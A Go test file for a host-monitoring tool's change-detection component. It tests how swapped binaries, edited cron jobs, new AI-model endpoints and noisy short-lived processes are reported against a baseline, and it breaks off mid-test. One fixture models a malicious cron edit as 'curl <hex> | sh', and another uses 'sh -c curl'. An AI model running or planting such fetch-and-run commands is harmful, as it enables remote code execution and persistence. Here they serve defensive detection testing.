Files
Privatae e4c9b69b46
ci / personal-data (push) Successful in 5s
ci / test (push) Successful in 3m4s
ci / fuzz (push) Successful in 3m45s
bastion 0.53.2
2026-10-20 04:42:14 +00:00

1452 lines
62 KiB
Go

package main
// The delta has exactly one job — say what changed — and there are two ways to
// fail at it that no single test can cover, because a fix for either is the
// cause of the other:
//
// MISSES IT the swapped binary reads as unrelated new-and-gone rows, the
// new cron line reads as nothing at all, and the product does not
// do the thing it says on the box.
// CRIES WOLF a service restart, an apt upgrade, the bastion's own harness
// run, or a shell command that lived a second each land in the
// findings, and by the second week nobody opens the list.
//
// Every test below is one of those two, named for the behaviour rather than the
// function, so a mutation that breaks the behaviour fails a test whose name
// says what was lost.
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"io"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
// ── helpers ─────────────────────────────────────────────────────────────────
func procEntry(digest, user, unit, shape string) baselineEntry {
return baselineEntry{
FP: baselineFP("process", digest, user, unit, shape),
Kind: "process",
ExeDigest: digest, Exe: "/usr/bin/thing", User: user, Unit: unit, ArgvShape: shape,
}
}
func schedBaseEntry(user, unit, shape string) baselineEntry {
return baselineEntry{
FP: baselineFP("scheduler", "", user, unit, shape),
Kind: "scheduler", User: user, Unit: unit, ArgvShape: shape,
}
}
func liveOf(e baselineEntry, pids ...int) deltaLiveEntry {
return deltaLiveEntry{Entry: e, PIDs: pids}
}
func eventsOfKind(evs []deltaEvent, kind string) []deltaEvent {
out := []deltaEvent{}
for _, e := range evs {
if e.Kind == kind {
out = append(out, e)
}
}
return out
}
func freshState(t *testing.T) *deltaState {
t.Helper()
return &deltaState{Version: deltaStateVersion, Baseline: "b"}
}
// ── missing it ──────────────────────────────────────────────────────────────
// THE CENTRAL CLAIM OF THE WHOLE PLANE. A binary replaced at a post the
// accounting already knows about must be ONE event that says so, carrying both
// digests. Reported as a `proc_new` plus a `proc_gone` it is two rows nobody
// connects, and the design's own `proc_changed` — "same fingerprint, new exe
// digest" — cannot fire at all, because the digest is inside the fingerprint.
func TestASwappedBinaryAtAKnownPostIsOneChangedEventNotTwoHalves(t *testing.T) {
was := procEntry("aaaaaaaaaaaa", "root", "web.service", "node server.js")
now := procEntry("bbbbbbbbbbbb", "root", "web.service", "node server.js")
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now, 41)})
changed := eventsOfKind(evs, deltaProcChanged)
if len(changed) != 1 {
t.Fatalf("a replaced binary produced %d proc_changed events, want 1:\n%+v", len(changed), evs)
}
if changed[0].Reason != deltaReasonExeDigest {
t.Errorf("reason = %q, want %q", changed[0].Reason, deltaReasonExeDigest)
}
if changed[0].Was == nil || changed[0].Was.ExeDigest != "aaaaaaaaaaaa" {
t.Error("the event does not carry what was there before, so a reader cannot " +
"see what the binary was replaced FROM")
}
if n := len(eventsOfKind(evs, deltaProcNew)); n != 0 {
t.Errorf("%d proc_new events as well — the swap was reported twice, as two "+
"unrelated halves of one sentence", n)
}
if n := len(eventsOfKind(evs, deltaProcGone)); n != 0 {
t.Errorf("%d proc_gone events as well — same defect from the other side", n)
}
}
// A program that was never there, in a place nothing was, is NEW. This is the
// other side of the slot rule: it must not be swallowed as a change to
// something else.
func TestAProgramInAPlaceNothingWasReadsAsNew(t *testing.T) {
was := procEntry("aaaa", "root", "web.service", "node server.js")
now := procEntry("cccc", "user", "interactive", "/tmp/<tmp> --x")
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(was, 1), liveOf(now, 99)})
if n := len(eventsOfKind(evs, deltaProcNew)); n != 1 {
t.Fatalf("got %d proc_new, want 1:\n%+v", n, evs)
}
if n := len(eventsOfKind(evs, deltaProcChanged)); n != 0 {
t.Errorf("the unrelated program was reported as a change to a known one (%d events)", n)
}
}
// A PROCESS THE ACCOUNTING ALREADY HOLDS THAT HAS STARTED TALKING TO A MODEL.
// Endpoints are deliberately not fingerprinted (baseline.go), so this entry's
// fingerprint is unchanged and this is the only place the fact can be caught.
func TestAKnownProgramThatStartsTalkingToAModelIsReported(t *testing.T) {
was := procEntry("aaaa", "user", "interactive", "python3 x.py")
now := was
now.Endpoints = []string{"api.anthropic.com"}
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now, 7)})
changed := eventsOfKind(evs, deltaProcChanged)
if len(changed) != 1 || changed[0].Reason != deltaReasonEndpoint {
t.Fatalf("a known process that began talking to a model produced %+v", evs)
}
if len(changed[0].Added) != 1 || changed[0].Added[0] != "api.anthropic.com" {
t.Errorf("the event does not name the endpoint that is new: %+v", changed[0].Added)
}
if got := deltaLevel(changed[0]); got != deltaHigh {
t.Errorf("level = %q, want high — a model endpoint is high", got)
}
}
// The same endpoints in a different order are not a finding. A scan returns
// connections in whatever order the kernel had them.
func TestTheSameEndpointsInAnotherOrderAreNotAFinding(t *testing.T) {
was := procEntry("aaaa", "user", "interactive", "python3 x.py")
was.Endpoints = []string{"api.anthropic.com", "api.openai.com"}
now := was
now.Endpoints = []string{"API.OpenAI.com", "api.anthropic.com"}
if evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now, 7)}); len(evs) != 0 {
t.Errorf("re-ordered endpoints produced %d events: %+v", len(evs), evs)
}
}
// A STANDING JOB IS ITS OWN SLOT. Editing what an existing crontab line runs is
// the persistence move, and it must read as a change to that job — not as an
// unrelated job appearing while another vanishes.
func TestAnEditedCronLineIsAChangeToThatJob(t *testing.T) {
was := schedBaseEntry("root", "cron:/etc/crontab:4", "/usr/bin/backup.sh")
now := schedBaseEntry("root", "cron:/etc/crontab:4", "curl <hex> | sh")
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now)})
changed := eventsOfKind(evs, deltaSchedChanged)
if len(changed) != 1 || changed[0].Reason != deltaReasonCommand {
t.Fatalf("an edited cron line produced %+v", evs)
}
if n := len(eventsOfKind(evs, deltaSchedNew)) + len(eventsOfKind(evs, deltaSchedGone)); n != 0 {
t.Errorf("it was ALSO reported as %d new/gone events — one edit, two rows", n)
}
}
// A brand new standing job that would run a recognised agent is the persistence
// form of "a new process with an agent signature", which the level table puts at high.
func TestANewScheduledJobRunningAnAgentIsHigh(t *testing.T) {
plain := deltaEvent{Kind: deltaSchedNew, Entry: schedBaseEntry("root", "cron:x:1", "/usr/bin/backup.sh")}
agent := deltaEvent{Kind: deltaSchedNew}
agent.Entry = schedBaseEntry("root", "cron:x:2", "claude -p go")
agent.Entry.Signature = "claude-code"
if got := deltaLevel(plain); got != deltaWarn {
t.Errorf("an ordinary new job is %q, want warn", got)
}
if got := deltaLevel(agent); got != deltaHigh {
t.Errorf("a new job that would start an agent is %q, want high", got)
}
}
// ── crying wolf ─────────────────────────────────────────────────────────────
// AN UNREADABLE EXECUTABLE IS NOT A SWAPPED ONE. Both produce "the digests
// differ", and one of them is a security finding while the other is this
// process not being able to look. Getting this wrong fills the list with
// alarms every time a scan runs with fewer rights than the accounting did.
func TestLosingSightOfABinaryIsNotReportedAsASwap(t *testing.T) {
was := procEntry("aaaaaaaaaaaa", "root", "web.service", "node server.js")
now := procEntry("", "root", "web.service", "node server.js")
now.DigestNote = "could not be read by this account"
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now, 3)})
changed := eventsOfKind(evs, deltaProcChanged)
if len(changed) != 1 {
t.Fatalf("got %+v", evs)
}
if changed[0].Reason != deltaReasonUnreadable {
t.Fatalf("reason = %q, want %q — this is a visibility change, not a machine change",
changed[0].Reason, deltaReasonUnreadable)
}
if got := deltaLevel(changed[0]); got != deltaNotice {
t.Errorf("level = %q, want notice", got)
}
}
// A packaged binary is ordinary; a packaged binary talking to a model is not.
// The tier must lower the first and never the second — a noise filter that can
// hide the finding is worse than no filter.
func TestTheTierLowersAnOrdinaryNewProgramAndNeverOneTalkingToAModel(t *testing.T) {
plain := deltaEvent{Kind: deltaProcNew, Entry: procEntry("aaaa", "root", "svc", "thing")}
if got := deltaLevel(plain); got != deltaWarn {
t.Errorf("an unexplained new program is %q, want warn", got)
}
plain.Tier = tierKnown
if got := deltaLevel(plain); got != deltaNotice {
t.Errorf("an explained new program is %q, want notice", got)
}
talking := plain
talking.Entry.Endpoints = []string{"api.anthropic.com"}
if got := deltaLevel(talking); got != deltaHigh {
t.Fatalf("a KNOWN-tier program talking to a model is %q, want high. The package "+
"database shipping /usr/bin/python3 says nothing about what it is doing.", got)
}
signed := plain
signed.Entry.Signature = "claude-code"
if got := deltaLevel(signed); got != deltaHigh {
t.Fatalf("a KNOWN-tier program with an agent signature is %q, want high", got)
}
}
// THE BASTION'S OWN UPDATE MUST NOT BE A CRITICAL. Every machine on this fleet
// takes published updates; a critical that fires on each one is a critical
// nobody reads by the third. A digest that moved WITHOUT the version is the
// swap, and stays critical.
func TestABastionUpdateIsHighAndASilentSwapIsCritical(t *testing.T) {
upd := deltaBinaryEvent("aaaa", "0.27.0", "bbbb", "0.28.0")
if upd == nil || upd.Level != deltaHigh {
t.Fatalf("a bastion self-update levelled %+v, want high", upd)
}
swap := deltaBinaryEvent("aaaa", "0.27.0", "bbbb", "0.27.0")
if swap == nil || swap.Level != deltaCritical {
t.Fatalf("a binary replaced under the SAME version levelled %+v, want critical", swap)
}
if same := deltaBinaryEvent("aaaa", "0.27.0", "aaaa", "0.27.0"); same != nil {
t.Error("an unchanged binary produced an event")
}
if blind := deltaBinaryEvent("", "", "aaaa", "0.27.0"); blind != nil {
t.Error("a baseline that recorded no digest produced a change event — there is " +
"nothing to compare, and an absent record is not a difference")
}
}
// AND THE CRITICAL RUNG SURVIVES THE FIRST LEGITIMATE UPDATE. Compared against
// the ACCOUNTING's version — which nothing retakes when the bastion updates
// itself — every machine on an auto-updating fleet is permanently "newer than
// its baseline", so every later digest change reads as another update and comes
// out high. The rung was disarmed by the very event its own justification was
// written around.
func TestASwapAfterALegitimateUpdateIsStillCritical(t *testing.T) {
// The accounting was taken at 0.27.0/aaaa. The fleet updates.
upd := deltaBinaryEvent("aaaa", "0.27.0", "bbbb", "0.28.0")
if upd == nil || upd.Level != deltaHigh {
t.Fatalf("the update levelled %+v, want high", upd)
}
// Days later, still 0.28.0, and the binary moves again. Compared against
// what the LAST PASS saw, this is the swap.
swap := deltaBinaryEvent("bbbb", "0.28.0", "cccc", "0.28.0")
if swap == nil || swap.Level != deltaCritical {
t.Fatalf("a binary replaced under an unchanged version, after an earlier update, "+
"levelled %+v — want critical. Comparing against the accounting's frozen "+
"version is what switches this rung off for good.", swap)
}
}
// AN ABSENCE IS NOT A FINDING ON THE STRENGTH OF ONE SCAN. A service restart,
// an upgrade that stops and starts a unit, a reboot: each makes the accounting
// briefly wrong, and reporting on the first miss reports all three.
func TestAnAbsenceIsOnlyReportedOnceItHasOutlastedARestart(t *testing.T) {
gone := deltaEvent{Kind: deltaProcGone, FP: "fp1"}
st := freshState(t)
t0 := time.Now()
if out := deltaApplyGrace([]deltaEvent{gone}, st, t0); len(out) != 0 {
t.Fatalf("the FIRST miss was reported: %+v", out)
}
if out := deltaApplyGrace([]deltaEvent{gone}, st, t0.Add(deltaGoneGrace-time.Minute)); len(out) != 0 {
t.Fatalf("an absence inside the grace was reported: %+v", out)
}
out := deltaApplyGrace([]deltaEvent{gone}, st, t0.Add(deltaGoneGrace+time.Minute))
if len(out) != 1 {
t.Fatalf("an absence past the grace was NOT reported: %+v", out)
}
if out[0].FirstSeen == "" {
t.Error("the reported absence does not say when it started")
}
}
// A service that bounces must not accumulate. Without clearing the clock when
// it comes back, the SECOND bounce is measured from the first and reports gone
// immediately — for ever after.
func TestAServiceThatComesBackResetsItsClock(t *testing.T) {
gone := deltaEvent{Kind: deltaProcGone, FP: "fp1"}
st := freshState(t)
t0 := time.Now()
deltaApplyGrace([]deltaEvent{gone}, st, t0)
deltaApplyGrace(nil, st, t0.Add(time.Minute)) // it is back: no gone event this pass
if out := deltaApplyGrace([]deltaEvent{gone}, st, t0.Add(deltaGoneGrace+time.Minute)); len(out) != 0 {
t.Fatalf("after coming back and going again it reported immediately, timed from "+
"the FIRST disappearance: %+v", out)
}
}
// A baseline entry whose post is now filled by something else is already
// reported as the change at that post. Reporting it gone as well makes one
// event into two halves of the same sentence — the exact defect the slot key
// exists to remove.
func TestAReplacedEntryIsNotAlsoReportedGone(t *testing.T) {
was := procEntry("aaaa", "root", "web.service", "node server.js")
now := procEntry("bbbb", "root", "web.service", "node server.js")
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now, 5)})
if n := len(eventsOfKind(evs, deltaProcGone)); n != 0 {
t.Errorf("%d gone events beside the change: %+v", n, evs)
}
}
// ── the noise filter ────────────────────────────────────────────────────────
// A PROGRAM REPORTING ITS OWN WORK AS AN INTRUSION IS IGNORED BY WEEK TWO. The
// bastion runs harnesses, labs and session shells; all of them are below it in
// the process tree and none of them is a finding.
func TestWhatThisBastionItselfStartedIsNotAFinding(t *testing.T) {
ev := deltaEvent{Kind: deltaProcNew, FP: "fp1", PIDs: []int{300},
Entry: procEntry("aaaa", "root", "svc", "harness run")}
n := deltaNoise{Self: 100, Parents: map[int]int{300: 200, 200: 100}, Sockets: true}
findings, filtered := deltaFilter([]deltaEvent{ev}, n, freshState(t), time.Now())
if len(findings) != 0 || len(filtered) != 1 {
t.Fatalf("a grandchild of this bastion was reported: findings=%+v", findings)
}
if filtered[0].Filtered != deltaFilterBastion {
t.Errorf("filtered for %q, want %q", filtered[0].Filtered, deltaFilterBastion)
}
// And a process that merely SHARES a fingerprint with one of ours is still
// the user's: `every`, not `any`.
ev.PIDs = []int{300, 999}
findings, _ = deltaFilter([]deltaEvent{ev}, n, freshState(t), time.Now())
if len(findings) != 1 {
t.Error("an entry with a process that is NOT ours was filtered anyway — a " +
"binary the bastion runs and the user also runs is still the user's")
}
}
// Short-lived work is counted, not reported — and only once it has proved it
// was short-lived by being gone next time.
func TestSomethingThatCameAndWentIsCountedNotReported(t *testing.T) {
st := freshState(t)
young := deltaEvent{Kind: deltaProcNew, FP: "fp1", PIDs: []int{7},
Entry: procEntry("aaaa", "user", "interactive", "ls")}
n := deltaNoise{Self: 1, Parents: map[int]int{7: 2}, Sockets: true,
Age: func(int) (time.Duration, bool) { return time.Second, true }}
findings, filtered := deltaFilter([]deltaEvent{young}, n, st, time.Now())
if len(findings) != 0 || len(filtered) != 1 {
t.Fatalf("a one-second-old process was reported: %+v", findings)
}
if st.ShortLived != 0 {
t.Error("it was counted while still running — it has not proved anything yet")
}
// Next pass: it is gone.
if _, _ = deltaFilter(nil, n, st, time.Now()); st.ShortLived != 1 {
t.Errorf("short-lived count = %d, want 1 — the storm counter never moved", st.ShortLived)
}
// And one that is still there next pass is a finding after all.
st2 := freshState(t)
deltaFilter([]deltaEvent{young}, n, st2, time.Now())
n.Age = func(int) (time.Duration, bool) { return time.Hour, true }
findings, _ = deltaFilter([]deltaEvent{young}, n, st2, time.Now())
if len(findings) != 1 {
t.Error("a process that survived was still being held back")
}
if st2.ShortLived != 0 {
t.Error("something that survived was counted as short-lived")
}
}
// The short-lived rule's exemptions are not optional: whatever opened a listening socket or
// reached a model endpoint in its first seconds is the most interesting thing
// on the box, not the least. And where the socket table could not be read at
// all, the rule does not fire — an exemption that cannot be checked is not one.
func TestTheShortLivedRuleNeverSwallowsAListenerOrAModelEndpoint(t *testing.T) {
base := deltaNoise{Self: 1, Parents: map[int]int{7: 2}, Sockets: true,
Age: func(int) (time.Duration, bool) { return time.Second, true }}
young := deltaEvent{Kind: deltaProcNew, FP: "fp1", PIDs: []int{7},
Entry: procEntry("aaaa", "user", "interactive", "x")}
talking := young
talking.Entry.Endpoints = []string{"api.anthropic.com"}
if f, _ := deltaFilter([]deltaEvent{talking}, base, freshState(t), time.Now()); len(f) != 1 {
t.Error("a process talking to a model was filtered for being young")
}
listening := base
listening.Listening = map[int]bool{7: true}
if f, _ := deltaFilter([]deltaEvent{young}, listening, freshState(t), time.Now()); len(f) != 1 {
t.Error("a process holding a listening socket was filtered for being young")
}
blind := base
blind.Sockets = false
if f, _ := deltaFilter([]deltaEvent{young}, blind, freshState(t), time.Now()); len(f) != 1 {
t.Error("the rule fired on a box that could not read its socket table, so it " +
"could not know whether the exemption applied")
}
ageless := base
ageless.Age = func(int) (time.Duration, bool) { return 0, false }
if f, _ := deltaFilter([]deltaEvent{young}, ageless, freshState(t), time.Now()); len(f) != 1 {
t.Error("the rule fired where the platform cannot read a process age — an " +
"unknown age was treated as a young one")
}
}
// BEING STARTED BY SOMETHING IN THE ACCOUNTING CHANGES NOTHING ABOUT A FINDING,
// and this is the test for a rule that was BUILT, MEASURED AND THEN TAKEN OUT.
//
// Measured on a live machine: with the parent rule lowering the
// tier, a brand-new root-owned binary at /tmp/brandnewthing and a swapped
// binary at a known post both came out as `notice` — because each had been
// started from a shell that was running when the accounting was taken. On a
// real machine nearly everything is a child of something that was already
// running, so the design's rule minus its declared-children set is not a noise
// filter, it is a way to lose the two findings that matter most.
func TestBeingStartedByAKnownProcessDoesNotLowerAFinding(t *testing.T) {
ev := deltaEvent{Kind: deltaProcNew, FP: "fp1", PIDs: []int{300},
Entry: procEntry("aaaa", "root", "web.service", "sh -c curl")}
n := deltaNoise{Self: 1, Parents: map[int]int{300: 200}, BaselinePIDs: map[int]bool{200: true},
Sockets: true}
findings, filtered := deltaFilter([]deltaEvent{ev}, n, freshState(t), time.Now())
if len(findings) != 1 {
t.Fatalf("a child of a baseline process was REMOVED from the findings (%d filtered). "+
"Without the declared children set that is the attack being hidden.", len(filtered))
}
if findings[0].Tier == tierKnown {
t.Fatal("a new program was lowered to `known` for having been started by a " +
"process that was already running. Every interactive program on a machine " +
"is a child of a shell that was already running.")
}
if got := deltaLevel(findings[0]); got != deltaWarn {
t.Errorf("level = %q, want warn — nothing here explains the program away", got)
}
// The fact still travels, because it is real context for whoever reads it.
var said bool
for _, e := range findings[0].Evidence {
if e.Signal == "child-of-baseline" {
said = true
if e.Tier != tierAmbiguous {
t.Errorf("the evidence line is tier %q; a signal that explains nothing "+
"must annotate and never promote", e.Tier)
}
}
}
if !said {
t.Error("the parentage was dropped entirely — it is context a reader wants even " +
"though it changes no level")
}
}
// The package database lowers a row and names the package that shipped it.
func TestAPackagedBinaryIsLoweredAndSaysWhichPackage(t *testing.T) {
ev := deltaEvent{Kind: deltaProcNew, FP: "fp1", PIDs: []int{300},
Entry: procEntry("aaaa", "root", "svc", "thing")}
n := deltaNoise{Self: 1, Parents: map[int]int{300: 2}, Sockets: true,
Packaged: func(paths []string) map[string]string {
return map[string]string{paths[0]: "coreutils"}
}}
findings, _ := deltaFilter([]deltaEvent{ev}, n, freshState(t), time.Now())
if len(findings) != 1 || findings[0].Tier != tierKnown {
t.Fatalf("a packaged binary was not lowered: %+v", findings)
}
var said bool
for _, e := range findings[0].Evidence {
if strings.Contains(e.Value, "coreutils") {
said = true
}
}
if !said {
t.Error("the evidence does not name the package, so the reader cannot check it")
}
}
// Absences and the bastion's own binary have no process to explain away, and
// must never be filtered as if they did.
func TestAnAbsenceIsNeverFilteredAsNoise(t *testing.T) {
evs := []deltaEvent{
{Kind: deltaProcGone, FP: "a"},
{Kind: deltaBinaryChanged, FP: "b", Level: deltaCritical},
}
n := deltaNoise{Self: 1, Parents: map[int]int{}, Sockets: true}
findings, filtered := deltaFilter(evs, n, freshState(t), time.Now())
if len(findings) != 2 || len(filtered) != 0 {
t.Fatalf("findings=%d filtered=%d, want 2 and 0", len(findings), len(filtered))
}
}
// ── the bookkeeping ─────────────────────────────────────────────────────────
// RETAKING THE ACCOUNTING REDEFINES NORMAL, so every clock kept against the old
// one is timing something that is no longer being compared.
func TestRetakingTheAccountingThrowsAwayTheOldClocks(t *testing.T) {
isolateConfigDir(t)
st := &deltaState{Version: deltaStateVersion, Baseline: "digest-one"}
st.setMissingSince("fp1", time.Now().Add(-time.Hour))
if err := st.save(); err != nil {
t.Fatal(err)
}
if again := deltaStateLoad("digest-one"); len(again.MissingSince) != 1 {
t.Fatalf("the state did not survive a save/load: %+v", again)
}
after := deltaStateLoad("digest-two")
if len(after.MissingSince) != 0 {
t.Error("a clock from the OLD accounting was carried into the new one — a " +
"process missing from a baseline nobody is comparing against any more " +
"would report gone the moment the new one was taken")
}
}
// The state file is the bastion's own, and nothing else's business.
func TestTheDeltaStateIsWrittenPrivate(t *testing.T) {
dir := isolateConfigDir(t)
st := &deltaState{Version: deltaStateVersion, Baseline: "d", dirty: true}
if err := st.save(); err != nil {
t.Fatal(err)
}
fi, err := os.Stat(filepath.Join(dir, "delta-state.json"))
if err != nil {
t.Fatal(err)
}
if fi.Mode().Perm() != 0o600 {
t.Errorf("mode %v, want 0600", fi.Mode().Perm())
}
}
// A corrupt bookkeeping file costs one pass of memory, never the feature.
func TestACorruptStateFileDoesNotStopTheDelta(t *testing.T) {
dir := isolateConfigDir(t)
if err := os.MkdirAll(dir, 0o700); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "delta-state.json"), []byte("{not json"), 0o600); err != nil {
t.Fatal(err)
}
st := deltaStateLoad("d")
if st == nil || st.Version != deltaStateVersion {
t.Fatalf("a truncated bookkeeping file stopped the plane: %+v", st)
}
}
// ── the wiring ──────────────────────────────────────────────────────────────
// A BOX WITH NO ACCOUNTING MUST NOT READ AS A BOX WITH NOTHING TO REPORT.
// Zero findings and "nobody ever said what normal is here" are opposite facts
// and they render identically unless the state travels with the counts.
func TestABoxWithNoAccountingSaysSoRatherThanReportingZero(t *testing.T) {
isolateConfigDir(t)
if !processIsRoot() {
t.Skip("the pass refuses without machine authority, which is its own test")
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
if r.Baseline != deltaBaselineNone {
t.Fatalf("baseline = %q, want %q", r.Baseline, deltaBaselineNone)
}
s := r.summary()
if s.Baseline != deltaBaselineNone {
t.Errorf("the summary that rides the beat says %q", s.Baseline)
}
if len(r.Findings) != 0 {
t.Errorf("it reported %d findings against an accounting that does not exist", len(r.Findings))
}
}
// AN ACCOUNTING TAKEN UNDER OTHER FINGERPRINT RULES REPORTS THE WHOLE MACHINE.
// baselineVersion is bumped exactly so old entries cannot match new ones, which
// makes the first pass after such a bump 188 findings that are all one fact
// about a software upgrade. One sentence asking for a retake is the answer.
func TestAnAccountingFromOlderRulesIsNotComparedAtAll(t *testing.T) {
dir := isolateConfigDir(t)
if !processIsRoot() {
t.Skip("the pass refuses without machine authority, which is its own test")
}
if err := os.MkdirAll(dir, 0o700); err != nil {
t.Fatal(err)
}
old := baselineFile{Version: "privatae-baseline-v0", TakenAt: "2026-01-01T00:00:00Z",
Coverage: "processes=all,schedulers=all",
Entries: []baselineEntry{procEntry("aaaa", "root", "svc", "thing")}}
if err := baselineSave(old); err != nil {
t.Fatal(err)
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
if r.Baseline != deltaBaselineStale {
t.Fatalf("baseline = %q, want %q", r.Baseline, deltaBaselineStale)
}
if len(r.Findings) != 0 {
t.Fatalf("it reported %d findings against an accounting it cannot compare with", len(r.Findings))
}
if !strings.Contains(strings.Join(r.Notes, " "), "taken again") {
t.Errorf("the notes do not say what to do about it: %v", r.Notes)
}
}
// The delta refuses to run without machine authority rather than producing a
// page of false findings from a view of the box the accounting never had.
func TestWithoutMachineAuthorityThePassSaysSoInsteadOfGuessing(t *testing.T) {
if processIsRoot() {
t.Skip("this test is about the unprivileged path; run the suite as a user for it")
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
if r.Baseline != deltaBaselineNoAuth {
t.Fatalf("baseline = %q, want %q", r.Baseline, deltaBaselineNoAuth)
}
}
// THE SUMMARY REACHES THE HOST. A detection plane whose result never leaves the
// box is a detection plane nobody has. This holds the wiring — that
// buildHeartbeatBody actually carries what deltaPayload publishes — rather than
// only that the two functions exist.
func TestTheFindingsSummaryRidesTheHeartbeat(t *testing.T) {
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
deltaMu.Lock()
deltaLast = &deltaSummary{Baseline: deltaBaselineOK, High: 2, Critical: 1,
NewSince: "2026-09-14T22:00:00Z"}
deltaMu.Unlock()
t.Cleanup(func() {
deltaMu.Lock()
deltaLast = nil
deltaMu.Unlock()
})
body := buildHeartbeatBody("", "box", "linux", "test", "pub", "fp", "", "", false, nil, nil, nil)
for _, want := range []string{`"findings"`, `"critical":1`, `"high":2`, `"baseline":"ok"`} {
if !strings.Contains(body, want) {
t.Fatalf("the heartbeat does not carry %s:\n%s", want, body)
}
}
}
// Before the first pass completes there is no key at all, the way posture does
// it — an absent field is a host that keeps what it had, and a zeroed one is a
// host told this machine is clean.
func TestNoSummaryTravelsBeforeTheFirstPass(t *testing.T) {
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
deltaMu.Lock()
deltaLast = nil
deltaMu.Unlock()
if body := buildHeartbeatBody("", "box", "linux", "test", "pub", "fp", "", "", false, nil, nil, nil); strings.Contains(body, `"findings"`) {
t.Fatalf("a findings key travelled before anything had been measured:\n%s", body)
}
}
// ── /proc's byte layout ─────────────────────────────────────────────────────
// The comm field is parenthesised and may contain spaces AND parens, which is
// why the fields are counted from the last ')'. A process named ") (" is legal
// and is how a naive split gets the wrong number.
func TestTheProcessStartTimeIsReadFromTheRightField(t *testing.T) {
// pid comm state ppid ... starttime is field 22.
fields := []string{"2", "1", "1", "0", "0", "0", "0", "0", "0", "0",
"0", "0", "0", "0", "0", "0", "0", "0", "914623"}
line := "1234 (weird ) name) S " + strings.Join(fields, " ") + " 0 0 0"
got, ok := parseProcStatStartTicks(line)
if !ok || got != 914623 {
t.Fatalf("start ticks = %d (%v), want 914623 — a wrong field here makes every "+
"process read as the wrong age", got, ok)
}
if _, ok := parseProcStatStartTicks("garbage with no paren"); ok {
t.Error("a line with no comm field read as a valid start time")
}
if _, ok := parseProcStatStartTicks("1 (x) S 0 0"); ok {
t.Error("a truncated line read as a valid start time")
}
}
// ── what a second look found ────────────────────────────────────────────────
// A SECOND PROGRAM BESIDE THE FIRST IS NOT A REPLACEMENT OF IT. The slot rule
// fired on "the slot is known" alone, so a venv or pyenv interpreter starting
// the same script beside the system one — same user, same unit, same masked
// argv — came out as proc_changed at high, carrying `was:` a process that was
// still running. A doorbell that rings for a benign event is what the noise
// filter exists to prevent, and the sentence it rang with was not true.
func TestASecondProgramBesideTheOriginalIsNewNotAReplacement(t *testing.T) {
was := procEntry("aaaa", "root", "web.service", "python3 x.py")
second := procEntry("bbbb", "root", "web.service", "python3 x.py")
// Both running: the original is still there.
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(was, 1), liveOf(second, 2)})
if n := len(eventsOfKind(evs, deltaProcChanged)); n != 0 {
t.Fatalf("%d proc_changed while the original was still running: %+v", n, evs)
}
if n := len(eventsOfKind(evs, deltaProcNew)); n != 1 {
t.Fatalf("got %d proc_new, want 1: %+v", n, evs)
}
// And when the original HAS gone, it is a replacement again.
evs = deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(second, 2)})
if n := len(eventsOfKind(evs, deltaProcChanged)); n != 1 {
t.Fatalf("with the original gone this must be one proc_changed, got %+v", evs)
}
}
// THE OTHER HALF OF THE SAME RULE: an entry that leaves must still be reported
// gone when something ELSE happens to share its slot. Suppressing on "is
// anything standing here" lost the departure entirely.
func TestOneOfTwoEntriesSharingASlotLeavingIsStillReported(t *testing.T) {
a := procEntry("aaaa", "root", "web.service", "python3 x.py")
b := procEntry("bbbb", "root", "web.service", "python3 x.py")
// b stays, a goes. They share a slot; a's absence is its own fact.
evs := deltaCompare([]baselineEntry{a, b}, []deltaLiveEntry{liveOf(b, 2)})
gone := eventsOfKind(evs, deltaProcGone)
if len(gone) != 1 || gone[0].FP != a.FP {
t.Fatalf("the entry that left was not reported gone: %+v", evs)
}
}
// THE PACKAGE DATABASE EXPLAINS THE BINARY, NEVER THE ENDPOINT. apt upgrades
// node, the service that runs it restarts, and it now talks to api.openai.com:
// the proc_changed branch demoted on the tier alone and landed that at notice,
// while the identical situation as a proc_new came out high. Two branches
// asking the same question about the same machine have to answer the same
// way.
func TestAPackagedReplacementTalkingToAModelIsStillHigh(t *testing.T) {
was := procEntry("aaaa", "root", "web.service", "node server.js")
now := procEntry("bbbb", "root", "web.service", "node server.js")
now.Endpoints = []string{"api.openai.com"}
evs := deltaCompare([]baselineEntry{was}, []deltaLiveEntry{liveOf(now, 9)})
changed := eventsOfKind(evs, deltaProcChanged)
if len(changed) != 1 {
t.Fatalf("got %+v", evs)
}
// The event has to CARRY the endpoint, or no tier could see it.
if len(changed[0].Added) != 1 || changed[0].Added[0] != "api.openai.com" {
t.Fatalf("the replacement event does not name the model endpoint it gained: %+v",
changed[0].Added)
}
ev := changed[0]
ev.Tier = tierKnown // the distribution shipped the new binary
if got := deltaLevel(ev); got != deltaHigh {
t.Fatalf("a PACKAGED replacement that also began talking to a model levelled %q, "+
"want high. The package database explains the binary; it says nothing about "+
"what the program is doing.", got)
}
}
// THE TWO SIDES OF THE COMPARISON AGGREGATE THE SAME WAY. The accounting kept
// the first pid's endpoints and the delta's live side unioned them, so four
// workers of one service with only the fourth talking to a model recorded no
// endpoint at baseline and then reported proc_changed[llm_endpoint] at high on
// an unchanged machine, every pass until the accounting was retaken.
func TestTheAccountingUnionsEndpointsTheWayTheDeltaDoes(t *testing.T) {
obs := []agentObs{
{PID: 1, User: "root", Cmdline: "worker --port 3001", Origin: "service"},
{PID: 2, User: "root", Cmdline: "worker --port 3002", Origin: "service",
LLMEndpoints: []string{"api.openai.com"}},
}
entries, _ := baselineFromObservations(obs, func(string) (string, string) { return "d", "" })
if len(entries) != 1 {
t.Fatalf("two workers of one service made %d entries", len(entries))
}
